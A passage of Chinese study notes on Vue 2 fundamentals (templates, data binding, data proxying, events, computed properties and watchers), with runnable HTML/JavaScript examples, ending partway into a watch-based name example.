当前位置:   article > 正文

VUE学习笔记第一章-Vue核心(尚硅谷)

VUE学习笔记第一章-Vue核心(尚硅谷)

目录

 

目录

VUE简介

Vue可以自顶向上逐步的应用

Vue的特点 

 Vue的实现

Vue入门

模板语法

数据绑定

el和data的两个写法

理解MVVM

数据代理

Vue 事件 

Vue事件的基本使用

Vue事件修饰符

Vue键盘事件

 计算属性

姓名案例-插值语法实现

姓名案例-methods方法实现

姓名案例-计算属性实现

姓名案例-计算属性实现(简写)(只考虑读,不考虑写的情况)

监视属性

天气案例-监视属性1

天气案例监视属性2

 天气案例-深度监视

天气案例-监视的简写形式

姓名案例-watch实现

绑定class样式与style样式

渲染

条件渲染

列表渲染

列表渲染-基本列表

列表渲染-key的原理

 列表渲染-列表过滤

列表渲染-列表排序

列表渲染-更新时的一个问题

列表渲染-Vue检测数据改变的原理(对象)

 列表渲染-模拟一个数据监测

 列表渲染-Vue.set的使用

列表渲染-Vue监测数据改变的原理(数组)

列表渲染-总结Vue数据监测

数据劫持与数据代理

数据劫持

一、Object.defineProperty

1、不能监听数组的变化

2、必须遍历对象的每个属性

3、必须深层遍历嵌套的对象

4、造成的问题

二、Proxy 

一道面试题

收集表单数据

过滤器

内置指令

内置指令(v-text指令)

内置指令(v-html指令)

内置指令(v-cloak指令)

内置指令(v-once指令)

内置指令(v-pre指令)

自定义指令

自定义指令-函数式

自定义指令-对象式

自定义指令-回顾一个DOM操作

自定义指令-总结

生命周期

引出生命周期

分析生命周期

总结生命周期



涉及到的资料

链接:https://pan.baidu.com/s/1MhmbgGHQOhZOpr5GH9K0fw?pwd=n2qe 
提取码:n2qe

VUE简介

Vue 是一套用于构建用户界面的渐进式框架。与其它大型框架不同的是,Vue 被设计为可以自底向上逐层应用。Vue 的核心库只关注视图层,不仅易于上手,还便于与第三方库或既有项目整合。另一方面,当与现代化的工具链以及各种支持类库结合使用时,Vue 也完全能够为复杂的单页应用提供驱动。

Vue可以自顶向上逐步的应用

简单应用:主需要一个轻量小巧的核心库

复杂应用:可以引入各式各样的Vue插件

Vue的特点 

1. 采用组件化模式,提高代码复用率,且让代码更好维护。

2. 声明式编码,让编码人员无需直接操作DOM,提高开发效率。

  1. //命令式编码
  2. //准备html字符串
  3. let htmlStr = ''
  4. //遍历数据拼接HTML字符串
  5. persons.forEach(p => {
  6. htmlStr += '<li>${p.id} - ${p.name} - ${p.age}</li>'
  7. });
  8. //获取list元素
  9. let list = document.getElementById('list')
  10. //修改内容(亲自操作DOM)
  11. list.innerHTML = htmlStr
  1. //声明式编码
  2. <ul id="list">
  3. <li v-for="p in persons">
  4. {{p,id} - {p.name} - {p.age}}
  5. </li>
  6. </ul>

 Vue的实现

数据先交给虚拟DOM,再由虚拟DOM交给真实页面DOM

Vue入门

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8" />
  5. <title>Vue入门</title>
  6. <script src="js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. </head>
  8. <body>
  9. <!--
  10. 1.想要让Vue工作,就必须创建一个Vue实例,且要传入一个配置对象,
  11. 2.root容器里的代码依然符合html规范,只不过混入了一些特殊的Vue语法;
  12. 3.root容器里面的代码被成为【Vue模板】
  13. 4.Vue实例和容器是一一对应的,并且会配合着组件一起使用;
  14. 5.真实开发中只有一个Vue实例,并且会配合着组件一起使用。
  15. 6.{{xxx}}中的xxx要写js表达式,且xxx可以自动读取到data中的所有属性;一旦data中的数据发生改变,那么模板中用到该数据的地方也会自动更新。
  16. 注意区分:js表达式和js代码(语句)
  17. 1. 表达式:一个表达式会产生一个值,可以放在任何一个需要值的地方。
  18. (1)a
  19. (2)a+b
  20. (3)demo(1)
  21. (4) x === y > 'a' : 'b'
  22. 2. js代码(语句)
  23. (1) if(){}
  24. (2) for(){}
  25. -->
  26. <!-- 准备好一个容器-->
  27. <div id="root">
  28. <h1>Hello {{name}},{{adress}},{{Date.now()}}</h1><!-- {{}}这里面只能是js的表达式-->
  29. </div>
  30. <div id="root2">
  31. <h1>Hello {{name}},{{adress}}</h1>
  32. </div>
  33. <script>
  34. Vue.config.productionTip = false;//阻止Vue在启动时生成生产提示。
  35. //创建vue实例
  36. new Vue({
  37. el:'#root',//el用于指定当前vue实例为那个容器服务,值通常为css选择器字符串
  38. data:{
  39. //data中用于存储数据,数据供el所指定的容器去使用,值暂时先写成一个对象。
  40. name:'Vueee!!!',
  41. adress:'桃园北路'
  42. }
  43. })
  44. new Vue({
  45. el:'#root2',//el用于指定当前vue实例为那个容器服务,值通常为css选择器字符串
  46. data:{
  47. //data中用于存储数据,数据供el所指定的容器去使用,值暂时先写成一个对象。
  48. name:'SSM!!!',
  49. adress:'水西关街'
  50. }
  51. })
  52. </script>
  53. </body>
  54. </html>

模板语法

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>模板语法</title>
  6. <script src="js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. </head>
  8. <body>
  9. <!-- Vue末班语法有两大类:
  10. 1.插值语法
  11. 功能:用于解析标签体内容
  12. 写法:{{xxx}},xxx是js表达式,且可以直接读取到data中的所有属性。
  13. 2.指令语法
  14. 功能:用于解析标签{{包括,标签属性,标签体内容,绑定事件。。。}}
  15. 举例:v-bind:href="xxx" 或 简写为 :href="xxx", xxx同样要写js表达式,且可以直接读取到data中的所有属性。
  16. 备注:Vue中有很多指令,且形式都是v-???,此处我们只是拿v-bind举个例子。
  17. -->
  18. <!-- 准备一个容器-->
  19. <div id="root">
  20. <h1>插值语法</h1>
  21. <h3>你好,{{name}}</h3>
  22. <hr/>
  23. <h2>指令语法</h2>
  24. <a v-bind:href="school.url" :x="school.hello">尚硅谷官网</a><!-- v-bind可以简写成: -->
  25. <a :href="school.url" :x="school.hello">尚硅谷{{school.name}}官网</a>
  26. </div>
  27. </body>
  28. <script type="text/javascript">
  29. Vue.config.productionTip = false //组织Vue在启动时生成生产提示
  30. new Vue({
  31. el:'#root',
  32. data:{
  33. name:'jack',
  34. school:{
  35. url:'http://www.atguigu.com',
  36. hello:'你好',
  37. name:"啦啦啦"
  38. }
  39. }
  40. })
  41. </script>
  42. </html>

数据绑定

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>数据绑定</title>
  6. <!-- 引入Vue-->
  7. <script src="js/vue.js" type="text/javascript" charset="utf-8"></script>
  8. </head>
  9. <body>
  10. <!--
  11. Vue中有两种数据绑定的方式:
  12. 1.单向绑定(v-bind): 数据只能从data流入页面
  13. 2.双向绑定(v-model): 数据不仅能从data流入界面,还可以从页面流向data。
  14. 备注:
  15. 1.双向绑定一般都应用在表单类元素上(如:input.select等)
  16. 2.v-model:value 可以简写成 v-model,因为v-model 默认收集的就是value值。
  17. -->
  18. <!-- 准备一个容器-->
  19. <div id="root">
  20. <!-- 普通写法-->
  21. <!-- 单向数据绑定:<input type="text" v-bind:value="name" /><br>
  22. 双向数据绑定:<input type="text" v-model:value="name"> -->
  23. <!-- 简写-->
  24. 单向数据绑定:<input type="text" :value="name"/>
  25. 双向数据绑定:<input type="text" v-model="name" />
  26. <!-- 如下代码是错误的,因为v-model只能应用在表单类元素(输入类元素)上-->
  27. <!-- <h2 v-bind:x="name">你好啊</h2> -->
  28. </div>
  29. </body>
  30. <script>
  31. Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示
  32. new Vue({
  33. el:'#root',
  34. data:{
  35. name:'尚硅谷'
  36. }
  37. })
  38. </script>
  39. </html>

el和data的两个写法

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>el与data的两种写法</title>
  6. <script src="js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. </head>
  8. <body>
  9. <!-- 准备一个容器-->
  10. <div id="root">
  11. <h1>你好,{{name}}</h1>
  12. </div>
  13. </body>
  14. <!-- data与el的两种写法
  15. 1.el有两种写法
  16. (1)new.Vue时候配置el属性
  17. (2)先创建Vue实例,随后再通过vm.$mount('#root')指定el的值,这个会更加自由
  18. 2.data与两种写法
  19. (1)对象式
  20. (2)函数式
  21. 如何选择:目前那种写法都可以,以后学到组件的时候,data必须使用函数式,否则会报错,
  22. 3.一个重要的原则:
  23. 由Vue管理的函数,一定不要写箭头函数,一旦写了箭头函数,this就不再是Vue实例了。
  24. -->
  25. <!-- 引入箭头函数的作用:更简短的函数并且不绑定this-->
  26. <script>
  27. Vue.config.productionTip = false
  28. const v = new Vue({
  29. //el:"#root",
  30. //这是data的第一种写法:对象式
  31. // data:{
  32. // name:'尚硅谷'
  33. // }
  34. //data的第二种写法:函数式
  35. data:function(){
  36. console.log('@@@',this)//此处的this是Vue实例对象
  37. return{
  38. name:'尚硅谷'
  39. }
  40. }
  41. })
  42. console.log(v)
  43. setTimeout(() =>{
  44. v.$mount('#root')//这是el的第二种写法
  45. },1000);
  46. </script>
  47. </html>

理解MVVM

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>MVVM模型</title>
  6. </head>
  7. <script src="js/vue.js" type="text/javascript" charset="utf-8"></script>
  8. <body>
  9. <!--
  10. MVVM模型
  11. 1. M: 模型(Model) ; data中的数据
  12. 2. V: 视图(View) : 模板代码
  13. 3. VM: 视图模型(ViewModel): Vue实例
  14. 观察发现:
  15. 1.data中所有属性,最后都出现在了vm身上
  16. 2.vm身上所有的属性,以及Vue原型上的所有属性,在Vue模板上可以直接使用
  17. -->
  18. <!-- 准备好一个容器-->
  19. <div id="root">
  20. <!-- 相当于View-->
  21. <h1>学校名称:{{name}}</h1>
  22. <h1>学校地址:{{address}}</h1>
  23. <!-- <h1>测试一下1:{{1+1}}</h1>
  24. <h1>测试一下2: {{$options}}</h1>
  25. <h1>测试一下3: {{$emit}}</h1>
  26. <h1>测试一下4: {{_c}}</h1> -->
  27. </div>
  28. </body>
  29. <script type="text/javascript">
  30. Vue.config.productionTip = false
  31. const vm = new Vue({//相当于ViewModel
  32. el:'#root',
  33. data:{
  34. //这里面相当于Model
  35. name:'尚硅谷',
  36. address:'北京'
  37. }
  38. })
  39. console.log(vm)
  40. </script>
  41. </html>

数据代理

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>回顾Object.defineproperty方法</title>
  6. </head>
  7. <body>
  8. <script src="js/vue.js" type="text/javascript" charset="utf-8"></script>
  9. <!--
  10.  Object.defineProperty 需要三个参数(object , propName , descriptor)
  11.   1 object 对象 => 给谁加
  12.   2 propName 属性名 => 要加的属性的名字 【类型:String】
  13.   3 descriptor 属性描述 => 加的这个属性有什么样的特性【类型:Object】
  14. -->
  15. <script type="text/javascript">
  16. let number = 18
  17. let person = {
  18. name:'张三',
  19. sex:'男',
  20. //age:18
  21. }
  22. Object.defineProperty(person,'age',{
  23. //value:18,
  24. //enumerable:true,// 控制属性是否可以枚举,默认值是false
  25. // writable:true, //控制属性是否可以被修改,默认值是false
  26. // configurable:true ,//控制属性是否可以被删除,默认值是false
  27. //当有人读取person的age属性时,get函数(getter)就会被调出,且返回值就是age的值
  28. get(){
  29. console.log('有人读取了age属性了')
  30. return number
  31. },
  32. //当有人修改person的age属性时,set函数(setter)就会被调出,且会收到修改的具体值。
  33. set(value){
  34. console.log('有人修改了age属性,且值是',value)
  35. number = value
  36. }
  37. })
  38. for (let key in person) {
  39. console.log('@',person[key])
  40. }
  41. // console.log(Object.keys(person))
  42. console.log(person)
  43. </script>
  44. </body>
  45. </html>
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title></title>
  6. </head>
  7. <body>
  8. <!-- 数据代理:通过一个对象代理对另一个对象中属性的操作(读/写)-->
  9. <!--
  10. 1.Vue中的数据代理
  11. 通过vm对象来代理data对象中属性的操作(读/写)
  12. 2.Vue中数据代理的好处
  13. 更加方便的操作data中的数据
  14. 3.基本原理
  15. 通过Object,defineProperty()把data对象中所有属性添加到vm上,
  16. 为每一个添加到vm上的属性,都制定一个getter/setter。
  17. 在getter/setter内部去操作(读/写)data中对应的属性。
  18. -->
  19. </body>
  20. <script type="text/javascript">
  21. let obj = {x:100}
  22. let obj2 = {y:200}
  23. Object.defineProperty(obj2,'x',{
  24. get(){
  25. return obj.x
  26. },
  27. set(value){
  28. obj.x = value
  29. }
  30. })
  31. </script>
  32. </html>

Vue 事件 

Vue事件的基本使用

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>事件的基本使用</title>
  6. <script src="js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. </head>
  8. <body>
  9. <div id="root">
  10. <h2>欢迎来到{{name}}学习</h2>
  11. <button v-on:click="showInfo1">点我提示信息</button>
  12. <button @click="showInfo2(66,$event)">点我提示信息</button>
  13. </div>
  14. </body>
  15. <!--
  16. 事件的基本使用
  17. 1.使用v-on:xxx或 @xxx 绑定事件,其中xxx是事件名;
  18. 2.事件的回调需要配置在methods对象中,最终会在vm上;
  19. 3.methods中配置的函数,不要用箭头函数!否则this就不是vm了;
  20. 4.methods中配置的函数,都是被Vue所管理的函数,this的指向是vm 或 组件实例对象;
  21. 5.@click="demo" 和 @click="demo(xx,$event)" 效果一致,但 后者可以传参(xx);
  22. -->
  23. <script>
  24. Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示
  25. const vm = new Vue({
  26. el:'#root',
  27. data:{
  28. name:'尚硅谷'
  29. },
  30. methods:{
  31. showInfo1(event){
  32. // console.log(event.target.innerText) 输出发生事件的事件目标得文本内容
  33. //console.log(this) 此处的this是vm
  34. alert('同学你好1')
  35. },
  36. showInfo2(number,a){
  37. console.log(number,a)
  38. }
  39. }
  40. })
  41. </script>
  42. </html>

Vue事件修饰符

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>事件修饰符</title>
  6. <script src="js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <style>
  8. *{
  9. margin-top: 20px;
  10. }
  11. .demo1{
  12. height:50px;
  13. background-color: aquamarine;
  14. }
  15. .box1{
  16. padding: 5px;
  17. background-color: skyblue;
  18. }
  19. .box2{
  20. padding: 5px;
  21. background-color: orange;
  22. }
  23. .list{
  24. width: 200px;
  25. height: 200px;
  26. background-color: cornflowerblue;
  27. overflow: auto;
  28. }
  29. li{
  30. height: 100px;
  31. }
  32. </style>
  33. </head>
  34. <body>
  35. <!--
  36. Vue中的事件修饰符
  37. 1.prevent:阻止默认事件(常用);
  38. 2.stop:阻止事件冒泡(常用);
  39. 3.once:事件只触发一次(常用);
  40. 4.capture:使用事件的捕获模式;
  41. 5.self:只有event.target是当前操作的元素才触发事件;
  42. 6.passive:事件的默认行为立即执行,无需等待事件回调执行完毕;
  43. -->
  44. <div id="root">
  45. <h2>欢迎来到{{name}}学习</h2>
  46. <!-- 阻止默认事件-->
  47. <a href="http://www.atguigu.com" @click.prevent="showInfo">点我提示信息</a>
  48. <!-- 阻止事件冒泡-->
  49. <div class="demo1" @click="showInfo">
  50. <button @click.stop="showInfo">点我提示信息</button>
  51. </div>
  52. <!-- 事件只触发一次 -->
  53. <button @click.once="showInfo">点我提示信息</button>
  54. <!-- 4.capture:使用事件的捕获模式; -->
  55. <div class="box1" @click.capture="showMsg(1)">
  56. div1
  57. <div class="box2" @click="showMsg(2)">
  58. div2
  59. </div>
  60. </div>
  61. <!-- 只有event.target是当前操作的元素才触发事件; -->
  62. <div class="demo1" @click.self="showInfo">
  63. <button @click="showInfo">点我提示信息</button>
  64. </div>
  65. <!-- passive:事件的默认行为立即执行,无需等待事件回调执行完毕 -->
  66. <ul @wheel.passive="demo" class="list">
  67. <li>1</li>
  68. <li>2</li>
  69. <li>3</li>
  70. <li>4</li>
  71. </ul>
  72. </div>
  73. </body>
  74. <script type="text/javascript">
  75. Vue.config.productionTip = false
  76. const vm = new Vue({
  77. el:'#root',
  78. data:{
  79. name:'尚硅谷'
  80. },
  81. methods:{
  82. showInfo(e){
  83. // alert('同学你好')
  84. console.log(e.target)
  85. },
  86. showMsg(msg){
  87. alert(msg)
  88. },
  89. demo(){
  90. for(let i = 0; i < 100000; i++) {
  91. console.log('#')
  92. }
  93. console.log('leisile')
  94. }
  95. }
  96. })
  97. </script>
  98. </html>

Vue键盘事件

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>键盘事件</title>
  6. <script src="js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. </head>
  8. <body>
  9. <!--
  10. 1.Vue中常用的按键别名
  11. 回车 => enter 删除=>delete(捕获删除和退格) 退出=>esc 空格=>space 换行=>tab 必须配合key-down
  12. 上=>up 下=>down 左=>left 右=>right
  13. 2.Vue未提供别名的按键,可以使用按键原始的key值去绑定,但注意要转成kebab-case(短横线命名)
  14. 3.系统修饰键(用法特殊):ctrl, alt, shift, meta
  15. (1). 配合keyup使用,按下修饰键的同时,再按下其他键,随后释放其他键,事件才能被触发
  16. (2). 配合keydown使用:正常触发事件
  17. 4. 也可以使用keyCode去指定具体的按键(不推荐)
  18. 5. Vue.config.keyCodes.自定义键名 = 键码。可以去定制按键别名。
  19. -->
  20. <!-- 准备好一个容器-->
  21. <div id="root">
  22. <h2>欢迎来到{{name}}学习</h2>
  23. <input type="text" placeholder="按下回车提示输入" @keyup.enter="showInfo"/>
  24. </div>
  25. </body>
  26. <script>
  27. Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示
  28. new Vue({
  29. el:'#root',
  30. data:{
  31. name:'尚硅谷'
  32. },
  33. methods:{
  34. showInfo(e){
  35. console.log(e.target.value)
  36. // if(e.keyCode !== 13) return
  37. // console.log(e.target.value)
  38. // if(e.keyCode == 13){
  39. // return console.log(e.target.value)
  40. // }
  41. // console.log(e.target.value)
  42. //console.log(e.keyCode)打印键盘的键对应的值
  43. }
  44. }
  45. })
  46. </script>
  47. </html>

 计算属性

姓名案例-插值语法实现

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>计算属性-插值语法实现</title>
  6. <script src="js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. </head>
  8. <body>
  9. <div id="root">
  10. 姓:<input type="text" v-model="firstName"><br/>
  11. 名:<input type="text" v-model="lastName">
  12. 姓名:<span>{{firstName.slice(0,3)}}-{{lastName}}</span>
  13. </div>
  14. </body>
  15. <script>
  16. Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示
  17. new Vue({
  18. el:'#root',
  19. data:{
  20. firstName:'张',
  21. lastName:'三'
  22. }
  23. })
  24. </script>
  25. </html>

姓名案例-methods方法实现

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>计算属性-methods方法实现</title>
  6. <script src="js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. </head>
  8. <body>
  9. <div id="root">
  10. 姓:<input type="text" v-model="firstName"><br/>
  11. 名:<input type="text" v-model="lastName">
  12. 姓名:<span>{{fullName()}}</span>
  13. </div>
  14. </body>
  15. <script>
  16. Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示
  17. new Vue({
  18. el:'#root',
  19. data:{
  20. firstName:'张',
  21. lastName:'三'
  22. },
  23. methods:{
  24. fullName(){
  25. return this.firstName + '-' + this.lastName
  26. }
  27. }
  28. })
  29. </script>
  30. </html>

姓名案例-计算属性实现

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>计算属性-计算属性方法实现</title>
  6. <script src="js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. </head>
  8. <body>
  9. <!--
  10. 计算属性
  11. 1.定义:要用的属性不存在,要通过已有属性计算得来。
  12. 2.原理:底层借助了Object.defineproperty方法提供的getter和setter方法
  13. 3.get函数什么时候执行?
  14. (1)初次读取时会执行一次
  15. (2)当依赖的数据发生改变时会被再次调用
  16. 4.优势 与methods实现想比,内部有缓存机制(复用),效率更高,调试方便
  17. 5.备注
  18. (1)计算属性最终会出现在vm上,直接读取使用即可
  19. (2)如果计算属性要被修改,那必须与set函数去相应修改,且set中要引起计算时依赖的数据发生变化
  20. -->
  21. <div id="root">
  22. 姓:<input type="text" v-model="firstName"><br/>
  23. 名:<input type="text" v-model="lastName">
  24. 姓名:<span>{{fullName}}</span>
  25. </div>
  26. </body>
  27. <script>
  28. Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示
  29. const vm = new Vue({
  30. el:'#root',
  31. data:{
  32. firstName:'张',
  33. lastName:'三'
  34. },
  35. computed:{
  36. fullName:{
  37. //get有什么作用,当有人读取fullName时,get就会被调用,且返回值就会作为fullName的值。
  38. //get什么时候调用,1.初次读取fullName时 2.所依赖的属性发生变化时
  39. get(){
  40. console.log('get被调用了')
  41. // console.log(this)//此处的this是vm
  42. return this.firstName + '-' + this.lastName
  43. },
  44. //set什么时候调用?当fullName被修改的时候
  45. set(value){
  46. console.log('set',value)
  47. const arr = value.split('-')
  48. this.firstName = arr[0]
  49. this.lastName = arr[1]
  50. }
  51. }
  52. }
  53. })
  54. </script>
  55. </html>

姓名案例-计算属性实现(简写)(只考虑读,不考虑写的情况)

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>计算属性-计算属性简写</title>
  6. <script src="js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. </head>
  8. <body>
  9. <div id="root">
  10. 姓:<input type="text" v-model="firstName"><br/>
  11. 名:<input type="text" v-model="lastName">
  12. 姓名:<span>{{fullName}}</span>
  13. </div>
  14. </body>
  15. <script>
  16. Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示
  17. const vm = new Vue({
  18. el:'#root',
  19. data:{
  20. firstName:'张',
  21. lastName:'三'
  22. },
  23. computed:{
  24. //简写只能在只读不写的情况下使用。
  25. fullName(){//表面是个函数,其实只是执行完以后往vm上面放了一个名为fullName的值。
  26. console.log('get被调用了')
  27. return this.firstName + '-' + this.lastName
  28. }
  29. }
  30. })
  31. </script>
  32. </html>

监视属性

天气案例-监视属性1

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>监视属性</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. </head>
  8. <body>
  9. <div id="root">
  10. <!-- <h2>今天天气很{{isHot ? '炎热' : '凉爽'}}</h2> -->
  11. <h2>今天天气很{{info}}</h2>
  12. <!--绑定事件的时候 @xxx="yyy"可以写一些简单地语句-->
  13. <button @click="changeWeather">切换天气</button>
  14. <button @click="isHot = !isHot">切换天气</button>
  15. </div>
  16. </body>
  17. <script>
  18. Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示
  19. new Vue({
  20. el:'#root',
  21. data:{
  22. isHot:true
  23. },
  24. computed:{
  25. info(){
  26. return this.isHot ? '炎热' : '凉爽'
  27. }
  28. },
  29. methods:{
  30. changeWeather(){
  31. this.isHot = !this.isHot
  32. }
  33. }
  34. })
  35. </script>
  36. </html>

天气案例监视属性2

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>监视属性</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <!--
  8. 监视属性watch:
  9. 1.当被监视属性变化时,回调函数自动调用,进行相关操作
  10. 2.监视的属性必须存在,才能进行监视!
  11. 3.监视的两种写法:
  12. (1)new Vue时传入watch配置
  13. (2)通过vm.$watch监视
  14. -->
  15. </head>
  16. <body>
  17. <div id="root">
  18. <!-- <h2>今天天气很{{isHot ? '炎热' : '凉爽'}}</h2> -->
  19. <h2>今天天气很{{info}}</h2>
  20. <!--绑定事件的时候 @xxx="yyy"可以写一些简单地语句-->
  21. <button @click="changeWeather">切换天气</button>
  22. <button @click="isHot = !isHot">切换天气</button>
  23. </div>
  24. </body>
  25. <script>
  26. Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示
  27. const vm = new Vue({
  28. el:'#root',
  29. data:{
  30. isHot:true
  31. },
  32. computed:{
  33. info(){
  34. return this.isHot ? '炎热' : '凉爽'
  35. }
  36. },
  37. methods:{
  38. changeWeather(){
  39. this.isHot = !this.isHot
  40. }
  41. },
  42. watch:{
  43. //第一种方法诶只
  44. info:{
  45. immediate:true,//初始化时让handler调用一下
  46. //handler什么时候调用?当isHot发生改变时
  47. handler(newValue,oldValue){
  48. console.log('info被修改了',newValue,oldValue)
  49. }
  50. }
  51. }
  52. })
  53. //第二种方法配置
  54. vm.$watch('isHot',{
  55. immediate:true,//初始化时让handler调用一下
  56. //handler什么时候调用?当isHot发生改变时
  57. handler(newValue,oldValue){
  58. console.log('isHot被修改了',newValue,oldValue)
  59. }
  60. })
  61. </script>
  62. </html>

 天气案例-深度监视

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>监视属性</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <!--
  8. 深度监视
  9. (1)Vue中的watch默认不监测对象内部值的改变(一层)
  10. (2)配置deep:true可以检测对象内部值改变(多层)
  11. 备注
  12. (1)Vue自身可以检测对象内部值的改变,但Vue提供的watch默认不可以
  13. (2)使用watch时根据数据的具体结构,决定是否采用深度监视。
  14. -->
  15. </head>
  16. <body>
  17. <div id="root">
  18. <!-- <h2>今天天气很{{isHot ? '炎热' : '凉爽'}}</h2> -->
  19. <h2>今天天气很{{info}}</h2>
  20. <!--绑定事件的时候 @xxx="yyy"可以写一些简单地语句-->
  21. <button @click="changeWeather">切换天气</button>
  22. <hr/>
  23. <h3>a的值是:{{numbers.a}}</h3>
  24. <button @click="numbers.a++">点我让a+1</button>
  25. <h3>b的值是:{{numbers.b}}</h3>
  26. <button @click="numbers.b++">点我让b+1</button>
  27. <button @click="numbers = {a:666,b:888}">彻底替换掉numbers</button>
  28. </div>
  29. </body>
  30. <script>
  31. Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示
  32. const vm = new Vue({
  33. el:'#root',
  34. data:{
  35. isHot:true,
  36. numbers:{
  37. a:1,
  38. b:1
  39. }
  40. },
  41. computed:{
  42. info(){
  43. return this.isHot ? '炎热' : '凉爽'
  44. }
  45. },
  46. methods:{
  47. changeWeather(){
  48. this.isHot = !this.isHot
  49. }
  50. },
  51. watch:{
  52. //第一种方法诶只
  53. isHot:{
  54. immediate:true,//初始化时让handler调用一下
  55. //handler什么时候调用?当isHot发生改变时
  56. handler(newValue,oldValue){
  57. console.log('isHot被修改了',newValue,oldValue)
  58. }
  59. },
  60. //监视多级结构中某个属性的变化
  61. // 'numbers.a':{
  62. // handler(){
  63. // console.log('a被改变了')
  64. // }
  65. // }
  66. numbers:{
  67. //监视多级结构中所有属性的变化
  68. deep:true,
  69. handler(){
  70. console.log('numbers改变了')
  71. }
  72. }
  73. }
  74. })
  75. </script>
  76. </html>

天气案例-监视的简写形式

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>监视属性(简写)</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <!--
  8. 简写的代价就是不允许有配置项了!
  9. 所有vue管理的函数,都要写成普通函数,不能写箭头函数。
  10. -->
  11. </head>
  12. <body>
  13. <div id="root">
  14. <!-- <h2>今天天气很{{isHot ? '炎热' : '凉爽'}}</h2> -->
  15. <h2>今天天气很{{info}}</h2>
  16. <!--绑定事件的时候 @xxx="yyy"可以写一些简单地语句-->
  17. <button @click="changeWeather">切换天气</button>
  18. </div>
  19. </body>
  20. <script>
  21. Vue.config.productionTip = false//阻止 vue 在启动时生成生产提示
  22. const vm = new Vue({
  23. el:'#root',
  24. data:{
  25. isHot:true,
  26. },
  27. computed:{
  28. info(){
  29. return this.isHot ? '炎热' : '凉爽'
  30. }
  31. },
  32. methods:{
  33. changeWeather(){
  34. this.isHot = !this.isHot
  35. }
  36. },
  37. watch:{
  38. //正常写法
  39. // isHot:{
  40. // immediate:true,//初始化时让handler调用一下
  41. // //handler什么时候调用?当isHot发生改变时
  42. // deep:true,//深度监视
  43. // handler(newValue,oldValue){
  44. // console.log('isHot被修改了',newValue,oldValue)
  45. // }
  46. // },
  47. // //简写
  48. // isHot(newValue,oldValue){
  49. // console.log('isHot被修改了',newValue,oldValue)
  50. // }
  51. }
  52. })
  53. //正常写法
  54. // vm.$watch('isHot',{
  55. // immediate:true,//初始化时让handler调用一下
  56. // //handler什么时候调用?当isHot发生改变时
  57. // deep:true,//深度监视
  58. // handler(newValue,oldValue){
  59. // console.log('isHot被修改了',newValue,oldValue)
  60. // }
  61. // })
  62. vm.$watch('isHot',function(newValue,oldValue){
  63. console.log('isHot被修改了',newValue,oldValue)
  64. })
  65. </script>
  66. </html>

姓名案例-watch实现

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <meta charset="utf-8">
  5. <title>姓名案例-watch实现</title>
  6. <script src="../js/vue.js" type="text/javascript" charset="utf-8"></script>
  7. <!-- 计算属性不能开启异步任务去维护数据的-->
  8. <!--
  9. computed和watch之间的区别
  10. 1.computed能完成的功能,watch都可以完成
  11. 2.watch能完成的功能,conputed不一定能完成,例如:watch可以进行异步操作
  12. 两个重要的小原则
  13. 1.所被Vue管理的函数,最好写成普通函数,这样this的指向vm或组件实例对象。
  14. 2.所有不被Vue所管理的函数(定时器的回调函数,ajax的回调函数等),最好写成箭头函数,
  15. 这样this的指向才是vm或者组件实例对象。
  16. -->
  17. </head>
  18. </head>
  19. <body>
  20. <div id="root">
  21. 姓:<input type="text" v-model="firstName"><br/>
  22. 名:<input type="text" v-model="lastName">
  23. 姓名:<span>{{fullName}}</span> <br/>
  24. </div>
  25. </body>
  26. <script>
